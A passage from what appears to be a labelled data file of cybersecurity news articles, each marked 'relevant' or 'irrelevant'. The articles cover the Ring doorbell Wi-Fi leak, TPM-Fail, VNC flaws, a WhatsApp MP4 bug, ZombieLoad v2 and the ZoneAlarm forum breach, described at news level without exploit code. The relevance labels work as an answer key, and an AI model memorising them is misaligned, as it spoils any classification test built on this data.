first vulnerability belongs to a directory required during the installation of rConfig on a server, which is otherwise intended to be removed post-installation. On its website, as part of a list of essential tasks users need to follow post-installation, rConfig also recommends users to ""delete the install directory after the installation is complete."" This means, users who deleted the rConfig installation directory as recommended are not vulnerable to the first RCE flaw, but could still be at risk due to the second RCE flaw of similar impact, which also doesn't require authentication for older versions as explained above. If you are using rConfig, you are recommended to temporarily remove the application from your server or use alternative solutions until security patches arrive.",relevant
"Amazon's Ring Video Doorbell Lets Attackers Steal Your Wi-Fi Password Security researchers at Bitdefender have discovered a high-severity security vulnerability in Amazon's Ring Video Doorbell Pro devices that could allow nearby attackers to steal your WiFi password and launch a variety of cyberattacks using MitM against other devices connected to the same network. In case you don't own one of these, Amazon's Ring Video Doorbell is a smart wireless home security doorbell camera that lets you see, hear and speak to anyone on your property from anywhere in the World. The smart doorbell needs to be connected to your WiFi network, allowing you to remotely access the device from a smartphone app to perform all tasks wirelessly. While setting up the device for the very first time and share your WiFi password with it, you need to enable the configuration mode from the doorbell. Entering into the configuration mode turns on a built-in, unprotected wireless access point, allowing the RING smartphone app installed on your device to automatically connect to the doorbell. However, researchers told The Hacker News that besides using an access point with no password, the initial communication between the Ring app and the doorbell, i.e., when you share your home's WiFi password with the doorbell, is performed insecurely through plain HTTP. ring video doorbell wifi password hacking Thus, a nearby attacker can simply connect to the same unprotected wireless access point, while the setup in the process, and steal your WiFi password using a man-in-the-middle attack. Since this attack can only be performed during the ""one-time initial configuration"" of the device, you might be wondering how an attacker can leverage this loophole after the device has already been configured. Researchers suggested that by continuously sending de-authentication messages to the device, an attacker can trick the user into believing that the device is malfunctioning, forcing him to re-configure it. ""Attackers can trigger the reconfiguration of the Ring Video Doorbell Pro. One way to do this is to continuously send deauthentication packets, so that the device is dropped from the wireless network. At this point, the App loses connectivity and tells the user to reconfigure the device,"" the researchers told The Hacker News. ""The live view button becomes greyed out and, when clicked, the app will suggest restarting the router or pressing the setup button twice on the doorbell. Pressing the button twice will trigger the device to try to reconnect to the network – an action that will fail. The last resort is to try and reconfigure the device,"" Bitdefender said in a blog post. Once the owner enters into the configuration mode to re-share WiFi credentials, the attacker sniffing the traffic would capture the password in plaintext, as shown in the screenshot. Once in possession of a user's WiFi password, an attacker can launch various network-based attacks, including: Interact with all devices within the household network; Intercept network traffic and run man-in-the-middle attacks Access all local storage (NAS, for example) and subsequently access private photos, videos and other types of information, Exploit all vulnerabilities existing in the devices connected to the local network and get full access to each device; that may lead to reading emails and private conversations, Get access to security cameras and steal video recordings. Bitdefender discovered this vulnerability in Ring Video Doorbell Pro devices in June this year and responsibly reported it to Amazon, but got no update from the company. hacking wifi password When requested for an update in late July, the vendor closed the vulnerability report in August and marked it as a duplicate without saying whether a third party already reported this issue. However, after some communication with the vendor, an automatic fix for the vulnerability was partially issued on 5th September. ""However, to be on the safe side Ring Video Doorbell Pro users should make sure they have the latest update installed. If so, they're safe."" ""Customer trust is important to us and we take the security of our devices seriously. We rolled out an automatic security update addressing the issue, and it's since been patched,"" a spokesperson for the Ring told The Hacker News. A similar security vulnerability was discovered and patched in the Ring Video Doorbell devices in early 2016 that was also exposing the owner's WiFi network password to attackers.",relevant
"Malicious Android SDKs Caught Accessing Facebook and Twitter Users Data Two third-party software development kits integrated by over hundreds of thousands of Android apps have been caught holding unauthorized access to users' data associated with their connected social media accounts. In a blog post published yesterday, Twitter revealed that an SDK developed by OneAudience contains a privacy-violating component which may have passed some of its users' personal data to the OneAudience servers. Following Twitter's disclosure, Facebook today released a statement revealing that an SDK from another company, Mobiburn, is also under investigation for a similar malicious activity that might have exposed its users connected with certain Android apps to data collection firms. Both OneAudience and Mobiburn are data monetization services that pay developers to integrate their SDKs into the apps, which then collect users' behavioral data and then use it with advertisers for targeted marketing. In general, third-party software development kits used for advertisement purposes are not supposed to have access to your personally identifiable information, account password, or secret access tokens generated during 'Login with Facebook' or 'Login with Twitter' process. However, reportedly, both malicious SDKs contain the ability to stealthy and unauthorizedly harvest this personal data, which you otherwise had only authorized app developers to access from your Twitter or Facebook accounts. ""This issue is not due to a vulnerability in Twitter's software, but rather the lack of isolation between SDKs within an application,"" Twitter clarified while revealing about the data collection incident. So, the range of exposed data is based upon the level of access affected users had provided while connecting their social media accounts to the vulnerable apps. This data usually includes users' email addresses, usernames, photos, tweets, as well as secret access tokens that could have been misused to take control of your connected social media accounts. ""While we have no evidence to suggest that this was used to take control of a Twitter account, it is possible that a person could do so,"" Twitter said. ""We have evidence that this SDK was used to access people's personal data for at least some Twitter account holders using Android; however, we have no evidence that the iOS version of this malicious SDK targeted people who use Twitter for iOS."" Twitter has also informed Google and Apple about the malicious SDKs and suggested users to simply avoid downloading apps from third-party app stores and periodically review authorized apps. Meanwhile, in a statement provided to CNBC, Facebook confirmed that it had already removed the apps from its platform for violating its policies and issued cease and desist letters against both One Audience and Mobiburn. ""Security researchers recently notified us about two bad actors, One Audience and Mobiburn, who were paying developers to use malicious software developer kits (SDKs) in a number of apps available in popular app stores,"" Facebook said. In response to this, OneAudience announced to shut down its SDK and also provided a statement saying, ""this data was never intended to be collected, never added to our database and never used."" ""We proactively updated our SDK to make sure that this information could not be collected on November 13, 2019. We then pushed the new version of the SDK to our developer partners and required that they update to this new version,"" OneAudience said. Both social media companies are now planning to shortly inform their users who may have been impacted by this issue.",relevant
"The Ultimate 2019 Security Team Assessment Template Assessing the performance of your security team is critical to both knowing your current posture, as well as planning ahead. 'The Ultimate 2019 Security Team Assessment Template' is the first attempt to capture all the main KPIs of the security team main pillars, saving CIOs and CISOs the time and effort of creating such an assessment from scratch and providing them with a simple and easy-to-use tool to measure how their teams are operated in 2019, while setting up performance targets for 2020. Building such a template is challenging because security teams vary greatly in size and internal responsibility distribution. Additionally, there is little consistency in the terms used to designate the various positions across the industry – security analyst, for example, could have one meaning in a certain company and different one in another. The same goes for architects, managers, and directors. The Security Team Assessment Template (download here) addresses this challenge by focusing on functionality. The two main pillars of the security team are A) ensuring that sufficient security products are deployed and B) making the best out of these products to maximize prevention, detection, and response capability. The template covers the following security roles and responsibilities: 1) Security Architect ⁠— responsible for designing, building, testing, and implementing security systems within an organization's IT network for the protection of both business and customer data. A Security Architect is expected to have a thorough understanding of complex IT systems and stay up-to-date on the latest security standards, systems, and authentication protocols, as well as best practice security products. 2) Security Analyst Tier 1 ⁠— The Tier 1 Security Analyst is tasked with the initial triage and classification of security events at the ground level, supporting a 24x7x365 Security Operations Center. Security Team Assessment Template The role follows standard operating procedures for detecting, classifying, and reporting incidents under the supervision of the SOC Manager and in partnership with Tier 2 SOC Analysts. 3) Security Analyst Tier 2 ⁠— tasked with conducting the technical aspects of response operation for critical events, escalated by the tier 1 analyst. This includes immediate containment, investigation, management of remediation actions, as well and enhancing defenses, with the new knowledge acquired throughout the response process. 4) Security Analyst Tier 3 ⁠— tasked with the proactive discovery of undetected threats through ongoing monitoring of the environment for vulnerabilities and searching for the threats that can abuse it. Additionally, the tier 3 analyst conducts Threat Hunting based on IOCs from threat intelligence feeds and delivers real-time visibility into the environment's actual security posture with proactive penetration tests. 5) SOC Manager ⁠— responsible for establishing and overseeing the workflows of security event monitoring, management, and response. Additionally, they are also responsible for ensuring compliance with SLA, process adherence, and process improvisation to achieve operational objectives. 6) Director of Security ⁠— oversees all the security-related functionalities within the organization, covering compliance with relevant frameworks, purchase, deployment, and maintenance of security products, and breach protection workflows. The Director of Security reports to the CIO and acts as the source of information for all cybersecurity-related aspects of the organization. As stated before, functionality matters more than the title. It makes sense that, for example, certain organizations will have individuals that carry out both tier 1 and tier 2 analyst responsibilities, or that the same individual owns tasks that are divided in the template between Security Architect and SOC Manager. In larger organizations, the Security Architect might have a team of dedicated individuals for the endpoint, network, and cloud security. The variations are endless, but the main pillars described above are for the large part common, so CISOs should have no trouble matching the templates' detailed functionalities to their unique team structure. With the Security Team Assessment Template, CISOs can either use it as-is or customize it to the roles and positions in their organizations, evaluate with each team member his/her 2019 performance, and set up KPIs for 2020. Additionally, the template serves as an ideal tool to continuously track and monitor the operations of the security team. So, if the template fits your security team as is – great. And if, as we anticipate, this is not the case for a large portion of our readers – simply cut and paste the different responsibilities and KPIs to match the specific structure of your security team. Download 'The Security Team Assessment Template' here.",irrelevant
"Researchers Discover TPM-Fail Vulnerabilities Affecting Billions of Devices A team of cybersecurity researchers today disclosed details of two new potentially serious CPU vulnerabilities that could allow attackers to retrieve cryptographic keys protected inside TPM chips manufactured by STMicroelectronics or firmware-based Intel TPMs. Trusted Platform Module (TPM) is a specialized hardware or firmware-based security solution that has been designed to store and protect sensitive information from attackers even when your operating system gets compromised. TMP technology is being used widely by billion of desktops, laptops, servers, smartphones, and even by Internet-of-Things (IoT) devices to protect encryption keys, passwords, and digital certificates. Collectively dubbed as TPM-Fail, both newly found vulnerabilities, as listed below, leverage a timing-based side-channel attack to recover cryptographic keys that are otherwise supposed to remain safely inside the chips. CVE-2019-11090: Intel fTPM vulnerabilities CVE-2019-16863: STMicroelectronics TPM chip According to researchers, elliptic curve signature operations on TPMs from various manufacturers are vulnerable to timing leakage issues, which could lead to the recovery of a private key by measuring the execution time of operation inside the TPM device. ""A privileged adversary can exploit the OS kernel to perform accurate timing measurement of the TPM, and thus discover and exploit timing vulnerabilities in cryptographic implementations running inside the TPM."" ""They are practical [attacks]. A local adversary can recover the ECDSA key from Intel fTPM in 4-20 minutes, depending on the access level."" intel tpm hacking As a proof-of-concept (code on GitHub), researchers tested and managed to recover 256-bit ECDSA and ECSchnorr private keys by collecting signature timing data with and without administrative privileges. ""Further, we managed to recover ECDSA keys from an fTPM-endowed server running StrongSwan VPN over a noisy network as measured by a client."" ""In this attack, the remote client recovers the server's private authentication key by timing only 45,000 authentication handshakes via a network connection."" ""The fact that a remote attack can extract keys from a TPM device certified as secure against side-channel leakage underscores the need to reassess remote attacks on cryptographic implementations."" tpm keys hack Once recovered, an attacker can use stolen keys to forge digital signatures, steal or alter encrypted information, and bypass OS security features or compromise applications that rely on the integrity of the keys. ""The vulnerable Intel fTPM is used by many PC and laptop manufacturers, including Lenovo, Dell, and HP."" Besides this, researchers also tested TMP solutions manufactured by Infineon and Nuvoton and found them vulnerable to non-constant execution timing leakage issues. Researchers responsibly reported their findings to Intel and STMicroelectronics in February this year, and the companies just yesterday released a patch update for affected products.",relevant
"Two Former Twitter Employees Caught Spying On Users For Saudi Arabia Two former employees of Twitter have been charged with spying on thousands of Twitter user accounts on behalf of the Saudi Arabian government, likely with the purpose of unmasking the identity of dissidents. According to an indictment filed on November 5 and unsealed just yesterday, one of the charged Twitter employees, American citizen Ahmad Abouammo, left the company in May 2015 and the other, Saudi citizen Ali Alzabarah, left the company in December 2015. Both ex-employees were recruited in 2014 by Saudi government officials with close ties to the Saudi crown prince, Mohammed bin Salman, to access sensitive and non-public information of Twitter accounts associated with known Saudi critics. The information Abouammo and Alzabarah illegally accessed about Twitter users include their email addresses, devices used, browser information, user-provided biographical information, birthdates, and other info that can be used to know a user's location, like IP addresses associated with the accounts and phone numbers. Alzabarah, who joined Twitter in August 2013 as a ""site reliability engineer,"" worked with the Saudi officials between May 21 and November 18, 2015, and allegedly accessed the private data on more than 6,000 Twitter accounts. The accounts he accessed included at least 33 users for which Saudi Arabian law enforcement had submitted emergency disclosure requests to Twitter. According to the indictment, Abouammo has also been separately charged with acting as a foreign agent and providing the Federal Bureau of Investigation (FBI) with falsified records to obstruct the federal investigation. Besides spying on Twitter users, Abouammo has also been accused of deleting certain information from the social media platform, unmasking the identities of some users, and shutting down Twitter accounts on request of the Saudi government officials. According to the affidavit from the FBI, Saudi officials paid up to $300,000 to Abouammo for his work, which he tried to cover up with faked invoices to his personal needs, and also gifted him a luxury Hublot watch worth $20,000. Along with these two former Twitter employees, the U.S. Department of Justice has also charged another Saudi national Ahmed al Mutairi, head of a Saudi social media company with ties to the royal family, for his involvement in the case. Mutairi has been accused of acting as an intermediary between the two Twitter employees and the Saudi government officials. Abouammo is currently in U.S. custody after he was arrested by the FBI on Tuesday in Seattle, while the remaining two suspects are believed to be in Saudi Arabia and still at large. Twitter acknowledged that the company has cooperated in this investigation and that it limits access to sensitive account information ""to a limited group of trained and vetted employees."" ""We understand the incredible risks faced by many who use Twitter to share their perspectives with the world and to hold those in power accountable. We have tools in place to protect their privacy and their ability to do their vital work,"" Twitter said in the statement. A separate data breach incident The Hacker News published today also caused due to an insider threat, where a former Trend Micro employee accessed data on 68,000 consumer customers and sold it to an unknown tech support scammers.",irrelevant
"Dozens of Severe Flaws Found in 4 Popular Open Source VNC Software Four popular open-source VNC remote desktop applications have been found vulnerable to a total of 37 security vulnerabilities, many of which went unnoticed for the last 20 years and most severe could allow remote attackers to compromise a targeted system. VNC (virtual network computing) is an open source graphical desktop sharing protocol based on RFB (Remote FrameBuffer) that allows users to remotely control another computer, similar to Microsoft's RDP service. The implementation of the VNC system includes a ""server component,"" which runs on the computer sharing its desktop, and a ""client component,"" which runs on the computer that will access the shared desktop. In other words, VNC allows you to use your mouse and keyboard to work on a remote computer as if you are sitting in front of it. There are numerous VNC applications, both free and commercial, compatible with widely used operating systems like Linux, macOS, Windows, and Android. Considering that there are currently over 600,000 VNC servers accessible remotely over the Internet and nearly 32% of which are connected to industrial automation systems, cybersecurity researchers at Kaspersky audited four widely used open source implementation of VNC, including: LibVNC UltraVNC TightVNC 1.x TurboVNC After analyzing these VNC software, researchers found a total of 37 new memory corruption vulnerabilities in client and server software: 22 of which were found in UltraVNC, 10 in LibVNC, 4 in TightVNC, just 1 in TurboVNC. ""All of the bugs are linked to incorrect memory usage. Exploiting them leads only to malfunctions and denial of service — a relatively favorable outcome,"" Kaspersky says. ""In more serious cases, attackers can gain unauthorized access to information on the device or release malware into the victim's system. Some of the discovered security vulnerabilities can also lead to remote code execution (RCE) attacks, meaning an attacker could exploit these flaws to run arbitrary code on the targeted system and gain control over it. Since the client-side app receives more data and contains data decoding components where developers often make errors while programming, most of the vulnerabilities affect the client-side version of these software. On the other hand, the server-side relatively contains a small code base with almost no complex functionality, which reduces the chances of memory-corruption vulnerabilities. However, the team discovered some exploitable server-side bugs, including a stack buffer overflow flaw in the TurboVNC server that makes it possible to achieve remote code execution on the server. But, exploiting this flaw requires authentication credentials to connect to the VNC server or control over the client before the connection is established. Therefore, as a safeguard against attacks exploiting server-side vulnerabilities, clients are recommended not to connect to untrusted or untested VNC servers, and administrators are required to protect their VNC servers with a unique, strong password. Kaspersky reported the vulnerabilities to the affected developers, all of which have issued patches for their supported products, except TightVNC 1.x that is no longer supported by its creators. So, users are recommended to switch to version 2.x.",relevant
"New WhatsApp Bug Could Have Let Hackers Secretly Install Spyware On Your Devices The recent controversies surrounding the WhatsApp hacking haven't yet settled, and the world's most popular messaging platform could be in the choppy waters once again. The Hacker News has learned that last month WhatsApp quietly patched yet another critical vulnerability in its app that could have allowed attackers to remotely compromise targeted devices and potentially steal secured chat messages and files stored on them. The vulnerability — tracked as CVE-2019-11931 — is a stack-based buffer overflow issue that resided in the way previous WhatsApp versions parse the elementary stream metadata of an MP4 file, resulting in denial-of-service or remote code execution attacks. To remotely exploit the vulnerability, all an attacker needs is the phone number of targeted users and send them a maliciously crafted MP4 file over WhatsApp, which eventually can be programmed to install a malicious backdoor or spyware app on the compromised devices silently. The vulnerability affects both consumers as well as enterprise apps of WhatsApp for all major platforms, including Google Android, Apple iOS, and Microsoft Windows. According to an advisory published by Facebook, which owns WhatsApp, the list of affected app versions are as follows: Android versions before 2.19.274 iOS versions before 2.19.100 Enterprise Client versions before 2.25.3 Windows Phone versions before and including 2.18.368 Business for Android versions before 2.19.104 Business for iOS versions before 2.19.100 The scope, severity, and impact of the newly patched vulnerability appear similar to a recent WhatsApp VoIP call vulnerability that was exploited by the Israeli company NSO Group to install Pegasus spyware on nearly 1400 targeted Android and iOS devices worldwide. At the time of writing, it's not clear if the MP4 vulnerability was also exploited as a zero-day in the wild before Facebook learned about and patched it. The Hacker News has reached out to Facebook and WhatsApp for comment and will update the article as soon as we hear back from them. Meanwhile, if you consider yourself as one of the potential surveillance targets and have received a random, unexpected MP4 video file over WhatsApp from an unknown number in recent months, you should pay more attention to the upcoming developments of this event. The WhatsApp MP4 vulnerability came just two weeks after Facebook sued the NSO Group for misusing WhatsApp service to target its users. However, at least in India, it didn't go well as intended, and the social media giant itself came under scrutiny from the Government who raised questions about the security of its end-to-end encrypted app rather than going after NSO Group for targeting over 100 of its citizens. For now, it's recommended for all users to make sure they are running the latest version of WhatsApp on their device and disable auto-downloads of images, audio and video files from the app settings. Update — A spokesperson for the Whatsapp confirmed The Hacker News that the newly reported WhatsApp RCE flaw was not exploited in the wild to target its users. ""WhatsApp is constantly working to improve the security of our service. We make public reports on potential issues we have fixed consistent with industry best practices. In this instance, there is no reason to believe that users were impacted,"" WhatsApp told THN.",relevant
"New ZombieLoad v2 Attack Affects Intel's Latest Cascade Lake CPUs Zombieload is back. This time a new variant (v2) of the data-leaking side-channel vulnerability also affects the most recent Intel CPUs, including the latest Cascade Lake, which are otherwise resistant against attacks like Meltdown, Foreshadow and other MDS variants (RIDL and Fallout). Initially discovered in May this year, ZombieLoad is one of the three novel types of microarchitectural data sampling (MDS) speculative execution vulnerabilities that affect Intel processor generations released from 2011 onwards. The first variant of ZombieLoad is a Meltdown-type attack that targets the fill-buffer logic allowing attackers to steal sensitive data not only from other applications and the operating system but also from virtual machines running in the cloud with common hardware. ZombieLoad v2 Affects Latest Intel CPUs Now, the same group of researchers has disclosed details of a second variant of the vulnerability, dubbed ZombieLoad v2 and tracked as CVE-2019-11135, that resides in Intel's Transactional Synchronization Extensions (TSX). Intel TSX provides transactional memory support in hardware, aiming to improve the performance of the CPU by speeding up the execution of multi-threaded software and aborting a transaction when a conflict memory access was found. ZombieLoad v2 Affects Latest Intel CPUs Intel has referred ZombieLoad v2 as ""Transactional Synchronization Extensions (TSX) Asynchronous Abort (TAA)"" vulnerability because the exploitation of this flaw requires a local attacker, with the ability to monitor execution time of TSX regions, to infer memory state by comparing abort execution times. ZombieLoad v2 affects desktops, laptops, and cloud computers running any Intel CPUs that support TSX, including Core, Xeon processors, and Cascade Lake, Intel's line of high-end CPUs that was introduced in April 2019. Microcode Patches Available for ZombieLoad v2 Researchers warned Intel about ZombieLoad Variant 2 on April 23, the same time they discovered and reported the other MDS flaws that the chipmaker patched a month later in May. On May 10, the team also informed Intel that the ZombieLoad Variant 2 attack works against newer lines of the company's CPUs, even when they include hardware mitigations against MDS attacks. Intel asked the researchers not to disclose the details of Variant 2 until now when the chipmaker came up with security patches with a microcode update that addresses this vulnerability. The company has also provided MDS mitigations for operating system developers, virtual machine manager (VMM) developers, software developers using Intel SGX, and system administrators. For more details on the new ZombieLoad variant, you can head on to the original research paper published by researchers in May, which has now been updated to add information on the second variant as well. Meanwhile, Red Hat has also released a script using which users can detect if their Intel-powered system is also vulnerable to this flaw.",relevant
"Hackers Breach ZoneAlarm's Forum Site — Outdated vBulletin to Blame ZoneAlarm, an internet security software company owned by Israeli cybersecurity firm Check Point Technologies, has suffered a data breach exposing data of its discussion forum users, the company confirmed The Hacker News. With nearly 100 million downloads, ZoneAlarm offers antivirus software, firewall, and additional virus protection solutions to home PC users, small businesses, and mobile phones worldwide. Though neither ZoneAlarm or its parent company Check Point has yet publicly disclosed the security incident, the company quietly sent an alert via email to all affected users over this weekend, The Hacker News learned. The email-based breach notification advised ZoneAlarm forum users to immediately change their forum account passwords, informing them hackers have unauthorizedly gained access to their names, email addresses, hashed passwords, and date of births. Moreover, the company has also clarified that the security incident only affects users registered with the ""forums.zonealarm.com"" domain, which has a small number of subscribers, nearly 4,500. ""This [forum] is a separate website from any other website we have and used only by a small number of subscribers who registered to this specific forum,"" the email notification reads. ""The website became inactive in order to fix the problem and will resume as soon as it is fixed. You will be requested to reset your password once joining the forum."" Hackers Exploited Recent vBulletin 0-Day Flaw Upon reaching out to the company, a spokesperson confirmed The Hacker News that attackers exploited a known critical RCE vulnerability (CVE-2019-16759) in the vBulletin forum software to compromise ZoneAlarm's website and gain unauthorized access. For those unaware, this flaw affected vBulletin versions 5.0.0 up to the latest 5.5.4, for which the project maintainers later released patch updates, but only for recent versions 5.5.2, 5.5.3, and 5.5.4. ZoneAlarm forum data breach The Hacker News found that, surprisingly, the security company itself was running an outdated 5.4.4 version of the vBulletin software until last week that let attackers compromise the website easily. It's the same then-zero-day vBulletin exploit that an anonymous hacker publicly disclosed in late September this year, which, if exploited, could allow remote attackers to take full control over unpatched vBulletin installations. Moreover, a week after that, the same flaw was also exploited by unknown attackers to hack the Comodo forum website, which exposed login account information of over nearly 245,000 Comodo Forums users. Though the ZoneAlarm team learned about the breach just late last week and immediately informed affected users, it's unclear exactly when the attackers breached the website. ZoneAlarm hacked ""ZoneAlarm is conducting an investigation into the matter. We take pride in the fact that we took a proactive approach once this incident was detected and within 24 hours and alerted the forum members,"" the company's spokesperson told the Hacker News. Since the ZoneAlarm forum website is down at the time of writing, users would not be able to change their account password on the forum at this moment. But if you are one of the affected users, you are also recommended to change your passwords for any other online account where you use the same credentials, and do the same for the ZoneForum website as soon as the site goes live again.",relevant
"Adobe Releases Patches for 'Likely Exploitable' Critical Vulnerabilities The last Patch Tuesday of 2019 is finally here. Adobe today released updates for four of its widely used software—including Adobe Acrobat and Reader, Photoshop CC, ColdFusion, and Brackets—to patch a total of 25 new security vulnerabilities. Seventeen of these flaws have been rated as critical in severity, with most of them carrying high priority patches, indicating that the vulnerabilities are more likely to be used in real-world attacks, but there are currently no known exploits in the wild. The software update for Adobe Acrobat and Reader for Windows and macOS operating systems addresses a total of 21 security vulnerabilities, 14 of which are critical, and rest are important in severity. Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution attacks, allowing attackers to take complete control of targeted systems. Adobe Photoshop CC for Windows and macOS contains patches for two critical arbitrary code execution vulnerabilities that were discovered and reported to the company by Honggang Ren of Fortinet's FortiGuard Labs. The last two flaws the company patched this month affect Brackets, a source code editor, and ColdFusion, a commercial rapid web application development platform by Adobe. The software update for Brackets addresses a critical code execution flaw, which was disclosed by Tavis Ormandy of Google Project Zero. Adobe ColdFusion update comes with a security patch for an important privilege escalation bug, which occurs due to insecure inherited permissions of the default installation directory. The company has released updated versions for all four vulnerable software for each impacted platform that users should install immediately to protect their systems and businesses from cyber-attacks. If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe software.",relevant
"Apple Opens Its Invite-Only Bug Bounty Program to All Researchers As promised by Apple in August this year, the company today finally opened its bug bounty program to all security researchers, offering monetary rewards to anyone for reporting vulnerabilities in the iOS, macOS, watchOS, tvOS, iPadOS, and iCloud to the company. Since its launch three years ago, Apple's bug bounty program was open only for selected security researchers based on invitation and was only rewarded for reporting vulnerabilities in the iOS mobile operating system. However, speaking at a hacking conference in August this year, Ivan Krstić, head of Apple Security Engineering and Architecture at Apple, announced the company's upcoming extended bug bounty program which included three main highlights: an enormous increase in the maximum reward from $200,000 to $1.5 million, accepting bug reports for all of its operating systems and latest hardware, opening the program for all researchers. Now starting from today, all security researchers and hackers are eligible to receive a cash payout for finding and responsibly disclosing a valid security vulnerability in the ""latest publicly available versions of iOS, iPadOS, macOS, tvOS, or watchOS with a standard configuration,"" as was first announced by Krstić on Twitter. Apple bug bounty program Even after submitting a valid security bug, researchers need to follow some basic eligibility rules for receiving rewards, which includes reporting details directly to the Apple security team without revealing anything to the public until the company releases a patch and providing a clear report with a working exploit. As shown in the bug bounty payout chart above, $1 million will be awarded only to those who submit a severe deadly zero-clickable kernel code execution exploit that could enable complete, persistent control of a targeted device. What's more? On top of its maximum reward of $1 million, Apple will also offer a 50% bonus to those who find and report vulnerabilities in its pre-release software (beta version) before its public release—bringing its maximum reward to $1.5 million. Besides this, Apple will now also pay an additional 50% bonus on the eligible reward amount for reporting a 'regression' vulnerability that the company patched in previous versions of its software, but reintroduced 'mistakenly' in a developer beta or public beta release. Apple Security Bounty program aims to also encourage hackers who either publicly disclose security vulnerabilities they discovered in Apple products or sell it to private vendors like Zerodium, Cellebrite, and Grayshift, who deal in zero-day exploits.",irrelevant
"How Organizations Can Defend Against Advanced Persistent Threats Advanced persistent threats (APTs) have emerged to be legitimate concerns for all organizations. APTs are threat actors that breach networks and infrastructures and stealthily lurk within them over extended spans of time. They typically perform complex hacks that allow them to steal or destroy data and resources. According to Accenture, APTs have been organizing themselves into groups that enable them to share tactics and tools to carry out attacks at scale. Russian group Silence APT, for instance, has been reported to be actively targeting financial institutions and have successfully stolen millions of dollars from various banks worldwide. Smaller organizations also need to be wary of such threats. APT groups also use automated tools and botnets to gain access to networks, and these tactics don't discriminate based on size, industry, or value. Any vulnerable infrastructure can be breached. It is now critical for all organizations to understand how APTs operate and implement the necessary security measures to mitigate them as threats. Signs that an APT may be lurking APTs operate covertly, so organizations may not even realize that they have been breached until something really goes awry. InfoTrax Systems, for example, was only able to detect years-long breach after its servers' storage was maxed out. IT teams have to look out for the indications that an APT might be lurking within the network. A few distinct signs include: Excessive logins — APTs typically rely on compromised access credentials to gain routine access to networks. They can either brute force attempts using login name and password credential dumps or legitimate credentials stolen from social engineering and phishing attacks. Excessive or suspicious login activities, especially in odd hours, are often attributable to APTs. Explosion of malware — APTs also use various malware to perform their hacks. So, if antivirus tools often detect and remove malware, it is possible that an APT is continuously implanting trojans and remote access tools into the network. Increased usage of computing resources — These threat actors will also have to use the network's computing resources to perform their hacks. Active malware will use computing power and memory within endpoints. Hackers may also temporarily store their stolen data within servers. Exfiltrating large volumes of data would also show up as excessive outgoing traffic. Heightened Monitoring Spotting these signs isn't straightforward, so IT teams must actively search for these signs. Fortunately, modern security solutions now provide capabilities that enable IT teams to monitor the potential APT presence and their activities. Log Analysis — Logs can accurately show the various activities, events, and tasks that transpired in devices, systems, and applications. However, going through logs, which are often in unformatted plain text format, can be tedious. To help IT teams sort through the information, advanced log analysis tools now feature algorithms that can search for patterns across all IT infrastructure components. Log management and analysis solution XpoLog, for instance, can consolidate all logs across various infrastructure components. Xpolog can automatically parse and tag the information contained in these log files. Using artificial intelligence (AI), Xpolog can then identify anomalous patterns and generate insights, including those that are indicative of security concerns. cyber security log analysis Information such as bandwidth use, login sessions, the geographic distribution of network traffic, can all be used to reveal the presence of threats. All the data can even be visualized for easier presentation and review. Through these findings, the platform can readily alert IT teams of potential APT attacks so that immediate action can be taken. Breach and Attack Simulations — Breach and attack simulation (BAS) platforms can run routine tests that mimic actual cyberattacks to check if security measures are working as intended. They serve as alternatives to traditional penetration testing, which are challenging to perform on a routine basis. BAS platform Cymulate, for example, offers a wide variety of tests that cover the potential vectors of attack to an infrastructure. It can test web gateways and web application firewalls for vulnerabilities. It can also deploy dummy malware into endpoints to check if anti-malware or antiviruses can detect malicious files and processes. It also has phishing attack simulations that can identify which users are susceptible to social engineering attacks. breach cyber attack simulation software Cymulate allows for scheduled and routine tests to be run to see if an organization's implemented security measures and tools work as intended. APTs turn off security solutions like antiviruses and firewalls, so routine tests would readily indicate if something is tampering with these solutions. Defenses Must Be Improved Monitoring and early detection are key to keeping a secure defensive perimeter. Organizations must integrate these efforts as part of a broader security strategy. Increase vigilance — Actively analyzing logs and performing routine tests of security measures can inform IT teams of the potential presence of APTs, allowing them to deal with these threats immediately. Adopt enterprise-grade security — Organizations must also use capable security solutions. The malware used by APTs can feature a polymorphic code that allows them to evade common free or cheap anti-malware solutions. Keep systems and apps updated — APTs exploit vulnerabilities of devices and systems for many of their tactics. Developers regularly release patches and fixes to ensure that critical vulnerabilities are addressed. Organizations must ensure that these updates are quickly applied when they become available. Train people — APTs can also try to exploit human weaknesses through social engineering attacks. Organizations must train staff on the best security practices, including accurately identifying phishing emails and attempts, using strong passphrases, and avoiding password reuse. Security is an Investment Organizations must realize that security is a critical investment when operating in today's environment. APTs can cause irreparable damage to companies. Falling victim to an attack can cause downtime, lost business, and the erosion of customer trust. The average security breach estimated by IBM cost organizations $3.92 million. It is, therefore, critical for companies to adopt security measures that are capable of detecting and mitigating such threats before they can cause any significant damage. As such, organizations must now be ready to shift more resources to enhance their security.",irrelevant
"Avast and AVG Browser Extensions Spying On Chrome and Firefox Users If your Firefox or Chrome browser has any of the below-listed four extensions offered by Avast and its subsidiary AVG installed, you should disable or remove them as soon as possible. Avast Online Security AVG Online Security Avast SafePrice AVG SafePrice Why? Because these four widely installed browser extensions have been caught collecting a lot more data on its millions of users than they are intended to, including your detailed browsing history. Most of you might not even remember downloading and installing these extensions on your web browser, and that's likely because when users install Avast or AVG antivirus on their PCs, the software automatically installs their respective add-ons on the users' browsers. Both online security extensions have been designed to warn users when they visit a malicious or phishing website; whereas, SafePrice extensions help online shoppers learn about best offers, price comparisons, travel deals, and discount coupons from various sites. The malicious behaviour of Avast and AVG extensions was discovered almost a month ago by Wladimir Palant, who detailed how the extensions are sending a large amount of data about users' browsing habits, listed below, to the company's servers — ""far beyond what's necessary for the extension to function."" What users' data is being sent to Avast? Full URL of the page you are on, including query part and anchor data, A unique user identifier (UID) generated by the extension for tracking, Page title, Referrer URL, How you landed on a page, e.g., by entering the address directly, using a bookmark or clicking a link, A value that tells whether you visited a page before, Your country code Browser name and its exact version number, Your operating system and its exact version number ""Tracking tab and window identifiers as well as your actions allows Avast to create a nearly precise reconstruction of your browsing behavior: how many tabs do you have open, what websites do you visit and when, how much time do you spend reading/watching the contents, what do you click there and when do you switch to another tab. All that is connected to a number of attributes allowing Avast to recognize you reliably, even a unique user identifier,"" Palant said. Over this weekend, Palant reported his findings to both the browser makers, Mozilla, and Google, of which Mozilla took immediate action by temporarily removing the extensions from its Firefox Add-on store within 24 hours until Avast resolves the issue. ""This add-on violates Mozilla's add-on policy by collecting data without user disclosure or consent,"" Mozilla said. Since Mozilla didn't blacklist 